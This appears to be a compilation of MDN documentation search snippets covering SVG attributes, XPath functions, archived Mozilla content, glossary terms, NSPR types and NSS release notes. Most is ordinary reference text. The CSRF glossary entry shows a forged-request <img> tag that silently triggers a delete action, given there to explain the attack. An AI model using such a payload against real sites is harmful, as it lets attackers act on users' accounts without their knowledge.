this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, <use> usage notes value <iri> default value none animatable no <iri>
this value specifies an iri reference that identifies some resource that describes the intended property.
xlink:title - SVG: Scalable Vector Graphics
the use of
this information is highly dependent on the type of processing being done.
... these elements are using
this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage context value <anything> default value none animatable no <anything>
this value specifies the title used to ...
y1 - SVG: Scalable Vector Graphics
two elements are using
this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> line for <line>, y1 defines the y coordinate of the starting point of the line.
...the exact behavior of
this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the top left corner of the bounding box of the shape it is applied to.
y2 - SVG: Scalable Vector Graphics
two elements are using
this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> line for <line>, y2 defines the y coordinate of the ending point of the line.
...the exact behavior of
this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the top right corner of the bounding box of the shape it is applied to.
zoomAndPan - SVG: Scalable Vector Graphics
magnification in
this context means the effect of a supplemental scale and translate transformation on the outermost svg document fragment.
... two elements are using
this attribute: <svg> and <view> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" zoomandpan="disable"> <filter id="diffuselighting" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting);" /> </svg> usage notes value disable | magnify default value magnify animatable no specifications specification status comment ...
<animateColor> - SVG: Scalable Vector Graphics
this element has been deprecated in svg 1.1 second edition and may be removed in a future version of svg.
...f the following elements, in any order:descriptive elements attributes global attributes conditional processing attributes core attributes animation event attributes xlink attributes animation attribute target attributes animation timing attributes animation value attributes animation addition attributes externalresourcesrequired specific attributes by from to dom interface
this element implements the svganimatecolorelement interface.
<feBlend> - SVG: Scalable Vector Graphics
this is similar to what is known from image editing software when blending two layers.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in in2 mode dom interface
this element implements the svgfeblendelement interface.
<feColorMatrix> - SVG: Scalable Vector Graphics
an identity matrix looks like
this: r g b a w r' | 1 0 0 0 0 | g' | 0 1 0 0 0 | b' | 0 0 1 0 0 | a' | 0 0 0 1 0 | in it, every new value is exactly 1 times its old value, with nothing else added.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in type values dom interface
this element implements the svgfecolormatrixelement interface.
<feComposite> - SVG: Scalable Vector Graphics
k4 indicate the values of the attributes with the same name usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes » presentation attributes » filter primitive attributes » class style specific attributes in in2 operator k1 k2 k3 k4 dom interface
this element implements the svgfecompositeelement interface.
...xornoflood)" /> <use xlink:href="#red50" filter="url(#xornoflood)" /> <text x="15" y="275">xor</text> </g> <g transform="translate(900,25)"> <use xlink:href="#red100" filter="url(#arithmeticnoflood)" /> <use xlink:href="#red50" filter="url(#arithmeticnoflood)" /> <text x="-25" y="275">arithmetic</text> </g> </g> </g> </svg> result
this image shows just the desired effect.
<feDiffuseLighting> - SVG: Scalable Vector Graphics
the light map produced by
this filter primitive can be combined with a texture image using the multiply term of the arithmetic operator of the <fecomposite> filter primitive.
... attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in surfacescale diffuseconstant kernelunitlength dom interface
this element implements the svgfediffuselightingelement interface.
<feDisplacementMap> - SVG: Scalable Vector Graphics
the formula for the transformation looks like
this: p'(x,y) ← p( x + scale * (xc(x,y) - 0.5), y + scale * (yc(x,y) - 0.5)) where p(x,y) is the input image, in, and p'(x,y) is the destination.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in in2 scale xchannelselector ychannelselector dom interface
this element implements the svgfedisplacementmapelement interface.
<feMerge> - SVG: Scalable Vector Graphics
this is achieved by other filters storing their output via the result attribute and then accessing it in a <femergenode> child.
... <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> </svg> result attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes none dom interface
this element implements the svgfemergeelement interface.
<feSpecularLighting> - SVG: Scalable Vector Graphics
this filter primitive produces an image which contains the specular reflection part of the lighting calculation.
... attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in surfacescale specularconstant specularexponent kernelunitlength dom interface
this element implements the svgfespecularlightingelement interface.
<font-face-name> - SVG: Scalable Vector Graphics
the <font-face-name> element points to a locally installed copy of
this font, identified by its name.
... usage context categoriesnonepermitted contentempty attributes global attributes core attributes » specific attributes name dom interface
this element implements the svgfontfacenameelement interface.
<font-face-src> - SVG: Scalable Vector Graphics
it serves as container for <font-face-name>, pointing to locally installed copies of
this font, and <font-face-uri>, utilizing remotely defined fonts.
... usage context categoriesfont elementpermitted contentone or more of the following elements, in any order:<font-face-name>, <font-face-uri> attributes global attributes core attributes specific attributes none dom interface
this element implements the svgfontfacesrcelement interface.
<hkern> - SVG: Scalable Vector Graphics
this process is known as kerning.
... usage context categoriesfont elementpermitted contentempty attributes global attributes core attributes specific attributes u1 g1 u2 g2 k dom interface
this element implements the svghkernelement interface.
<path> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg> attributes d
this attribute defines the shape of the path.
... value type: <string> ; default value: ''; animatable: yes pathlength
this attribute lets authors specify the total length for the path, in user units.
<polygon> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polygon with the default fill --> <polygon points="0,100 50,25 50,75 100,0" /> <!-- example of the same polygon shape with stroke and no fill --> <polygon points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points
this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon.
... value type: <number>+ ; default value: ""; animatable: yes pathlength
this attribute lets specify the total length for the path, in user units.
<script> - SVG: Scalable Vector Graphics
const g = math.round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.queryselector('circle').addeventlistener('click', (e) => { e.target.style.fill = getcolor() }) }) // ]]> </script> <circle cx="5" cy="5" r="4" /> </svg> attributes crossorigin
this attribute defines cors settings as define for the html <script> element.
... value type: <url> ; default value: none; animatable: no type
this attribute defines type of the script language to use.
<switch> - SVG: Scalable Vector Graphics
lementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<a>, <foreignobject>, <g>, <image>, <svg>, <switch>, <text>, <use> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes class style externalresourcesrequired transform dom interface
this element implements the svgswitchelement interface.
... svg <switch> example
this example demonstrates showing different text content depending on the browser's language settings.
<vkern> - SVG: Scalable Vector Graphics
this process is known as kerning.
... usage context categoriesfont elementpermitted contentempty attributes global attributes core attributes specific attributes u1 g1 u2 g2 k dom interface
this element implements the svgvkernelement interface.
Linking - SVG: Scalable Vector Graphics
when svg documents are embedded within a parent html document using the tag: page1.html: <html> <body> <p>
this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should navigate to the html document page2.html when the button graphics are clicked.
... to get around
this, requires a little ugly javascript hacking: button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <g onclick="top.document.href='page2.html'" cursor="pointer"> <!-- button graphical elements here --> </g> </svg> example for an example of
this solution at work see www.codedread.com.
Other content in SVG - SVG: Scalable Vector Graphics
this means, that you can use clips, masks, filters, rotations and all other tools of svg on the content: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <image x="90" y="-65" width="128" height="146" transform="rotate(45)" xlink:href="https://developer.mozilla.org/static/img/favicon144.png"/> </svg> screensh...
...for scientific applications of svg
this is a very good way to join both worlds.
generate-id - XPath
syntax generate-id( [node-set] ) arguments node-set (optional) an id will be generated for the first node in
this node-set.
...
this function is an xslt-specific addition to xpath.
key - XPath
value the returned node-set will contain every node that has
this value for the given key.
...
this function is an xslt-specific addition to xpath.
local-name - XPath
syntax local-name( [node-set] ) arguments node-set (optional) the local name of the first node in
this node-set will be returned.
... if
this argument is omitted, the current context node will be used.
name - XPath
syntax name( [node-set] ) arguments node-set (optional) the qname of the first node in
this node-set will be returned.
... if
this argument is omitted, the current context node will be used.
namespace-uri - XPath
syntax namespace-uri( [node-set] ) arguments node-set (optional) the namespace uri of the first node in
this node-set will be returned.
... if
this argument is omitted, the current context node will be used.
number - XPath
if
this argument is omitted, the current context node will be used.
...if the string does not match
this pattern, then the string is converted to nan.
position - XPath
<xsl:template match="//a[position() = 5]"> <!--
this template matches the fifth a element anywhere in the document.
... --> </xsl:template> <xsl:template match="//div[@class='foo']/bar[position() = 1]"> <!--
this template matches the first bar element that is a child of a div element with a class attribute equal to "foo" --> </xsl:template> defined xpath 1.0 4.1 gecko support supported.
onunload - XUL
this code is used by some programmers to annoyingly pop up alert boxes preventing the users from leaving the page.
... closing the window calls
this eventhandler on the prefwindow.
Window: userproximity event - Archive of obsolete content
bubbles no cancelable no interface userproximityevent target defaultview (window) default action none event handler property window.onuserroximity specification proximity sensor note:
this event has been disabled by default in firefox 62, behind the device.sensors.proximity.enabled preference (bug 1462308).
Alerts and Notifications - Archive of obsolete content
this works on windows, linux and (if growl is installed) mac os x: function popup(title, text) { try { components.classes['@mozilla.org/alerts-service;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // prevents runtime error on platforms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do
this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedco...
Toolbar - Archive of obsolete content
this should only be done on the first run of your add-on after installation so that if the user decides to remove your button, it doesn't show up again every time they start the application.
URI parsing - Archive of obsolete content
getservice(components.interfaces.nsieffectivetldservice); var suffix = etldservice.getpublicsuffix(auri); var basedomain = etldservice.getbasedomain(auri); //
this includes the tld basedomain = basedomain.substr(0, (basedomain.length - suffix.length - 1)); // - 1 to remove the period before the tld ...
XPath - Archive of obsolete content
notes and sample code for xpath and ajax (the following was moved from document.evaluate) obj.evaluate(xpathexpression,contextnode,namespaceresolver,resulttype,result); //obj and contextnode should be the same object, if context is a ajax xml object (example: returnedxml)
this should be used as : returnedxml.evaluate(xpathexpression,returnedxml,namespaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support
this script!"); return;...
Installing Dehydra - Archive of obsolete content
-script/-fplugin-arg-gcc_treehydra-script flags to specify the location of the plugin and the location of the analysis script: g++ -quiet -fplugin=$home/dehydra/gcc_dehydra.so -fplugin-arg-gcc_dehydra-script=$dehydra_script \ -fshort-wchar $cppfile -s -o /dev/null for example, in the tests directory created by the installation procedure, i can run a dehydra script 'a.js' on a mozilla file like
this: g++ -quiet -fplugin=../gcc_dehydra.so \ -fplugin-arg=a.js -fshort-wchar -fpreprocessed \ /home/dmandelin/builds/dehydra-gcc/browser/app/nsbrowserapp.ii -o /dev/null the -fshort-wchar is required for running against firefox, but not necessarily for other codebases.
Fast Graphics Performance With HTML - Archive of obsolete content
use <div style="overflow:scroll><div style="background:white"><p>
this is some text</p><p>and some more</p></div></div> instead of <div style="overflow:scroll><p>
this is some text</p><p>and some more</p></div> animating 'transform' and 'opacity' properties can be done with the compositor which makes them efficient to animate ...
Disabling interruptible reflow - Archive of obsolete content
add the following variables to your environment to disable gecko interruptible reflow: gecko_reflow_interrupt_mode=counter gecko_reflow_interrupt_frequency=1000000 gecko_reflow_interrupt_checks_to_skip=1000000 now start firefox within
this environment.
JSS build instructions for OSX 10.6 - Archive of obsolete content
howto successfully compile jss and nss for 32 and 64 bits on osx 10.6 (10.6.7) useful links: https://developer.mozilla.org/en/nss_reference/building_and_installing_nss/build_instructions https://developer.mozilla.org/jss_build_4.3.html ftp://ftp.mozilla.org/pub/mozilla.org/ <componente> /releases http://www.mozilla.org/projects/secu...using_jss.html steps: export all
this: build_opt="1" cvsroot=":pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot" java_home=$(/usr/libexec/java_home") no_mdupdate="1" nsdistmode="copy" ns_use_gcc="1" create working dir: mkdir nss-jss cd nss-jss obtain source: altought manual said nspr_4_6_4_rtm, nss_3_11_4_rtm, jss_4_2_5_rtm, they didnt work for osx, giving many compiling errors.
text-link - Archive of obsolete content
« xul reference home text-link labels with
this class may be focused and the click handler run or the address in the href attribute opened on a mouse click or enter key press.
Namespaces - Archive of obsolete content
e"/> <person name="laura secord" gender="female"/> </people> <listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <action> <listitem uri="?" label="?ns:name"/> </action> </template> </listbox> once added to the template element the namespaces can then be referenced inside temple rule elements too,
this works both in rdf and xml templates.
Urlbar-icons - Archive of obsolete content
(the url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="
this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" onclick="handleurlbarcommand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
XUL Parser in Python/source - Archive of obsolete content
import sys, glob, xmllib import os, re el_list = {} w = open('res.html', 'w') # unfortunately, i had to put
this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc.
assign - Archive of obsolete content
var type: string for the xul assign attribute,
this is the variable to assign the value to; otherwise it's a reference to a template variable such as "?name".
NP_GetMIMEDescription - Archive of obsolete content
#include <gio/gio.h> const char* desc = g_content_type_get_description("audio/ogg"); javascript inside a web page, you can retrieve these informations with
this code: var mimetype = navigator.mimetypes['application/basic-example-plugin']; if (mimetype) { alert(mimetype.type + ':' + mimetype.suffixes + ':' + mimetype.description); } ...
Atomic RSS - Archive of obsolete content
references atomic rss element list examples none available at
this time community none available at
this time tools none available at
this time other resources tim bray's atom rss article rss, atom, rdf, xml ...
Slash - Archive of obsolete content
references rss slash module element list examples none available at
this time community none available at
this time tools none available at
this time other resources rss slash module slash slashdot rss, rdf, xml ...
Well-Formed Web - Archive of obsolete content
references rss well-formed web module element list examples none available at
this time community none available at
this time tools none available at
this time other resources well-formed web spec rss, rdf, xml ...
0.90 - Archive of obsolete content
examples rss 0.90 looked something like
this: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> ...
title - Archive of obsolete content
why can't i get any tang?</description> </item> </channel> </rss> attributes none sub-elements none parent elements the table below shows a list of rss elements that
this element can be a child of.
.htaccess ( hypertext access ) - Archive of obsolete content
errordocument 404 /notfound.html # redirects traffic to notfound.html in case of a 404 error errordocument 500 /serverr.html # redirects traffic to serverr.html in case of a 500 internal server error for further information see
this external article: redirect your traffic for error handling.
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> <!-- target application
this extension can install into, with minimum and maximum supported versions.
-ms-scrollbar-3dlight-color - Archive of obsolete content
*/ } </style> </head> <body> <textarea class="blue3dlight">the top and left edges of the thumb and button-face elements in the scroll bar for
this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-scrollbar-base-color - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples
this example uses -ms-scrollbar-base-color and -ms-scrollbar-arrow-color to create two <div> objects with different scroll bar color schemes.
-ms-scrollbar-darkshadow-color - Archive of obsolete content
code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/scrollbarcolor.htm <!doctype html> <html> <head> <title>scrollbar-darkshadow-color</title> <style> .blueshadow { scrollbar-darkshadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for
this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-scrollbar-shadow-color - Archive of obsolete content
<!doctype html> <html> <head> <title>scrollbar-shadow-color</title> <style> .blueshadow { scrollbar-shadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for
this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-scrollbar-track-color - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples
this example uses -ms-scrollbar-track-color, -ms-scrollbar-face-color, and -ms-scrollbar-arrow-color to create two <div> elements with different scroll bar color schemes.
-ms-wrap-flow - Archive of obsolete content
this property specifies that the exclusion element (the exclusion) can be positioned in various ways, and that inline content will wrap around the exclusion in a way similar to how it wraps around floated elements.
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
this can be done, for example, by including malicious parameters in a url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com.
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
example function greeting() { // [1] some codes here sayhi(); // [2] some codes here } function sayhi() { return "hi!"; } // invoke the `greeting` function greeting(); // [3] some codes here the code above would be executed like
this: ignore all functions, until it reaches the greeting() function invocation.
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
to do
this, the script uses a conditional structure or if...else, so that different code executes depending on whether the form is complete or not: if (field==empty) { promptuser(); } else { submitform(); } a typical script in javascript or php (and the like) includes many control structures, including conditionals, loops and functions.
DNS - MDN Web Docs Glossary: Definitions of Web-related terms
the most prominent function of dns is the translation of human-friendly domain names (such as mozilla.org) to a numeric ip address (such as 151.106.5.172);
this process of mapping a domain name to the appropriate ip address is known as a dns lookup.
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
likewise, given the new value of x and its old value, you might compute the delta like
this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved previous condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Digest - MDN Web Docs Glossary: Definitions of Web-related terms
a digest can be used to perform several tasks: in non-cryptographic applications (e.g., the index of hash tables, or a fingerprint used to detect duplicate data or to uniquely identify files) verify message integrity (a tampered message will have a different hash) store passwords so that they can't be retrieved, but can still be checked (to do
this securely, you also need to salt the password.) generate pseudo-random numbers generate keys it is critical to choose the proper hash function for your use case to avoid collisions and predictability.
Progressive web apps - MDN Web Docs Glossary: Definitions of Web-related terms
this involves taking standard web sites/apps that enjoy all the best parts of the web — such as discoverability via search engines, being linkable via urls, and working across multiple form factors — and supercharging them with modern apis (such as service workers and push) and features that confer other benefits more commonly attributed to native apps.
Request header - MDN Web Docs Glossary: Definitions of Web-related terms
tion/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/testpage.html connection: keep-alive upgrade-insecure-requests: 1 if-modified-since: mon, 18 jul 2016 02:36:04 gmt if-none-match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a" cache-control: max-age=0 strictly speaking, the content-length header in
this example is not a request header like the others, but an entity header: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 content-length: 128 learn more technical knowledge list of all http headers ...
Server - MDN Web Docs Glossary: Definitions of Web-related terms
for example: an internet-connected web server is sending a html file to your browser software so that you can read
this page local area network server for file, name, mail, print, and fax minicomputers, mainframes, and super computers at data centers learn more general knowledge introduction to servers server (computing) on wikipedia ...
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
this non-exhaustive list gives you an idea of which standards websites and network systems must conform to: ietf (internet engineering task force): internet standards (std), which among other things govern set-up and use of uris, http, and mime w3c: specifications for markup language (e.g., html), style definitions (i.e., css), dom, accessibility iana (internet assigned numbers authority): name a...
XLink - MDN Web Docs Glossary: Definitions of Web-related terms
specification xlink 1.0 xlink 1.1 (currently a working draft) see also xml in mozilla code snippets:getattributens - a wrapper for dealing with some browsers not supporting
this dom method code snippets:xml:base function - a rough attempt to find a full xlink-based on an xlink:href attribute (or <xi:include href=>) and its or an ancestor's xml:base.
Mozilla MathML Project
sidje other contributors: frédéric wang last updated date: april 4, 2010 copyright information: portions of
this content are © 1999–2010 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozilla Style System
thus, typical calling code looks like
this: if (aframe->getstyledisplay()->mopacity < 1.0f) return pr_true; or like
this: const nsstyleposition *stylepos = aframe->getstyleposition(); if (stylepos->mwidth.getunit() == estyleunit_coord) { nscoord w = stylepos->mwidth.getcoordvalue(); ...
mozilla::MonitorAutoEnter
constructors monitorautoenter( in mozilla::monitor& monitor; );
this parameter is a reference so as to guarantee that your code has already properly constructed the mozilla::monitor.
GPU performance
amd gpu perfstudio - i had trouble getting
this to work, and can't remember whether i actually did or not.
Leak Gauge
nspr_log_modules=domleak:5,documentleak:5,nsdocshellleak:5,nodeinfomanagerleak:5 nspr_log_file=nspr.log # or any other filename of your choice
this will overwrite any existing file called nspr.log.
Performance
investigating css performance how to figure out why restyle is taking so long power profiling power profiling overview
this page provides an overview of relevant information, including details about hardware, what can be measured, and recommended approaches.
accessibility.tabfocus
note: on mac os x, if
this preference is not set, the full keyboard access setting in system preferences > keyboard is honored.
browser.dom.window.dump.file
browser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in
this preference if browser.dom.window.dump.enabled is set to true.
javascript.options.showInConsole
note: since the web console was introduced in firefox 4 specifically for debugging content, the default value for
this preference has changed to true as of gecko 2.0.
Preferences
this api is not available for add-ons, but if you're working on a gecko application,
this api is the preferred way to access preferences.
PRAccessHow
this is the declaration for the enumeration praccesshow, used in the how parameter of pr_access: #include <prio.h> typedef enum praccesshow { pr_access_exists = 1, pr_access_write_ok = 2, pr_access_read_ok = 3 } praccesshow; see pr_access for what each of these values mean.
PRExplodedTime
the essential members of prexplodedtime are: tm_year: absolute year, ad (by "absolute," we mean if the year is 2000,
this field's value is 2000).
PRLinger
the pr_sockopt_linger socket option, with a value represented by a structure of type prlinger, makes it possible to change
this default as follows: if polarity is set to pr_false, pr_close returns immediately, but if there are any data remaining in the socket send buffer, the runtime attempts to deliver the data to the peer.
PRNetAddr
prnetaddr is binary-compatible with the socket address structures in the familiar berkeley socket interface, although
this fact should not be relied upon.
PRProcessAttr
syntax #include <prproces.h> typedef struct prprocessattr prprocessattr; description
this opaque structure describes the attributes of a process to be created.
PRSize
this is the same as the corresponding type in libc.
PRThread
this pointer is a required parameter for most of the functions that operate on threads.
PRThreadScope
in most cases,
this leads to a significant performance benefit.
PRThreadType
this arrangement implies that a system thread should not have volatile data that needs to be safely stored away.
PRTime
syntax #include <prtime.h> typedef print64 prtime; description
this type is a 64-bit integer representing the number of microseconds since the nspr epoch, midnight (00:00:00) 1 january 1970 coordinated universal time (utc).
PRTimeParamFn
this type defines a callback function to calculate and return the time parameter offsets from a calendar time object in gmt.
PR_Accept
on output,
this structure contains the address of the connecting entity.
PR_Calloc
description
this function allocates memory on the heap for the specified number of objects of the specified size.
PR_CExitMonitor
this may indicate that the address parameter is invalid or that the calling thread is not in the monitor.
String Operations
this chapter describes some of the key nspr functions for manipulating strings.
Threads
this chapter describes the basic nspr threading api.
CERT_FindCertByDERCert
syntax #include <cert.h> certcertificate *cert_findcertbydercert( certcertdbhandle *handle, secitem *dercert ); parameters handle in pointer to a certcertdbhandle representing the certificate database to look in dercert in pointer to an secitem whose type must be sidercertbuffer and whose data contains a der-encoded certificate description
this function looks in the ?nsscryptocontext?
CERT_FindCertByIssuerAndSN
#include <cert.h> certcertificate *cert_findcertbyissuerandsn ( certcertdbhandle *handle, certissuerandsn *issuerandsn ); parameters handle in pointer to a certcertdbhandle representing the certificate database to look in issuerandsn in pointer to a certissuerandsn that must be properly formed to contain the issuer name and the serial number (see [example]) description
this function creates a certificate key using the issuerandsn and it then uses the key to find the matching certificate in the database.
NSS Code Coverage
- total blocks in file (there is no trivial method to get
this number without tcov).
4.3 Release Notes
new in jss 4.3 a list of bug fixes and enhancement requests were implemented in
this release can be obtained by running
this bugzilla query jss 4.3 requires nss 3.12 or higher.
JSS FAQ
the best way to do
this is with the pkcs #7 signeddata type.
Using JSS
you can put
this directory in your classpath to run applications locally; or, you can package the class files into a jar file for easier distribution: cd mozilla/dist/classes[_dbg] zip -r ../jss42.jar .
JSS 4.4.0 Release Notes
bugs fixed in jss 4.4.0
this bugzilla query returns all the bugs fixed in nss 4.4.0: https://bugzilla.mozilla.org/buglist.cgi?product=jss&target_milestone=4.4&target_milestone=4.4&bug_status=resolved&resolution=fixed documentation build instructions for jss at https://hg.mozilla.org/projects/jss/file/tip/readme platform information you can check out the source from mercurial via hg clone -r 055aa3ce8a61 https://hg...
NSS_3.12.1_release_notes.html
372241: need more versatile form of cert_nametoascii bug 390296: nss ignores subject cn even when san contains no dnsname bug 401928: support generalized pkcs#5 v2 pbes bug 403543: pkix: need a way to enable/disable aia cert fetching bug 408847: pkix_ocspchecker_check does not support specified responder (and given signercert) bug 414003: crash [[@ cert_decodecertpackage] sometimes with
this testcase bug 415167: memory leak in certutil bug 417399: arena allocation results are not checked in pkix_pl_infoaccess_parselocation bug 420644: improve ssl tracing of key derivation bug 426886: use const char* in pk11_importcertforkey bug 428103: cert_encodesubjectkeyid is not defined in any public header file bug 429716: debug builds of libpkix unconditionally dump socket traffic t...
NSS 3.14.2 release notes
(https://bugzilla.mozilla.org/show_bug.cgi?id=816853) bug 772144 - basic support for running nss test suites on android devices.
this is currently limited to running tests from a linux host machine using an ssh connection.
NSS 3.15.2 release notes
a complete list of all bugs resolved in
this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.2&product=nss&list_id=7982238 compatibility nss 3.15.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.15.5 release notes
bugs fixed in nss 3.15.5 a complete list of all bugs resolved in
this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.5&product=nss compatibility nss 3.15.5 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.16.2.3 release notes
nss 3.16.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_3_rtm/src/ new in nss 3.16.2.3
this patch release fixes a bug and contains a backport of the tls_fallback_scsv feature, which was originally made available in nss 3.17.1.
NSS 3.16.2 release notes
bugs fixed in nss 3.16.2
this bugzilla query returns all the bugs fixed in nss 3.16.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.2 ...
NSS 3.17.3 release notes
